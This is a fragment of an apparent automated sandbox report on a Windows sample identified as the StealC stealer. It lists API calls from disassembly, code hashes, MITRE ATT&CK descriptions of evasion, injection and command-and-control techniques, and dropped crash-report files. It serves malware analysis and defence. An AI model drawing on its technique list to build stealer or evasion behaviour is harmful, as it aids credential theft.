lstrcat.KERNEL32(?,00421070), ref: 023F51FE
lstrcat.KERNEL32(?,0064A5F8), ref: 023F5212
lstrcat.KERNEL32(?,00421074), ref: 023F5224

Part of subcall function 023F4B77: wsprintfA.USER32 ref: 023F4B93
Part of subcall function 023F4B77: FindFirstFileA.KERNEL32(?,?), ref: 023F4BAA

Part of subcall function 023F4B77: StrCmpCA.SHLWAPI(?,00420FDC), ref: 023F4BD8
Part of subcall function 023F4B77: StrCmpCA.SHLWAPI(?,00420FE0), ref: 023F4BEE
Part of subcall function 023F4B77: FindNextFileA.KERNEL32(000000FF,?), ref: 023F4DE4
Part of subcall function 023F4B77: FindClose.KERNEL32(000000FF), ref: 023F4DF9

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: fea607eff97497eb4fd5309f6b34a87d5e7f8ff3753410a5b2e417b1bb1efa56
Instruction ID: dd887d40776e4a2e99e1cebc7a58913702bcbf09e358fbdaede3d0742565f1e7
Opcode Fuzzy Hash: fea607eff97497eb4fd5309f6b34a87d5e7f8ff3753410a5b2e417b1bb1efa56
Instruction Fuzzy Hash: A6219B7AA402147BC764FBF0EC45EE9337EAB55700F404599B78992180DE749AC98F91

Function 023F94C7 Relevance: 5.0, APIs: 4, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(?,?), ref: 023F94D3
lstrcpyn.KERNEL32(0064AB88,?,?), ref: 023F94F7
lstrlen.KERNEL32(?), ref: 023F950E
wsprintfA.USER32 ref: 023F952E

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID:
API String ID: 1206339513-0
Opcode ID: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction ID: 5df28d0c05a2aa70cb6d828a8d87790fd834895e33a7b904f4542bb4e87f337d
Opcode Fuzzy Hash: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction Fuzzy Hash: 2001DA79640108FFCB04DFECD998EAE7BBAEF49394F108148F9099B301C635AA40DB95

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 4M3JIACIWk.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_4M3JIACIWk.exe_42abe2dd17d2b9ef6341786752f88f99cca66ab_4786b708_13c8a5b3-1761-4a90-bdd2-1bca33a5700f\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER869A.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8870.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER88AF.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Windows Analysis Report
4M3JIACIWk.exe

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Function 00419860 Relevance: 66.7, APIs: 33, Strings: 5, Instructions: 212
libraryloaderCOMMON

Function 00404880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00419C10 Relevance: 229.9, APIs: 112, Strings: 19, Instructions: 684
libraryloaderCOMMON

Function 00415510 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383
sleepCOMMON

Function 00406280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 004117A0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160
stringCOMMON

Function 00417500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 023E003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Function 004169F0 Relevance: 10.6, APIs: 7, Instructions: 89
sleepCOMMON

Function 004047B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60
stringnetworkCOMMON

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00416AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON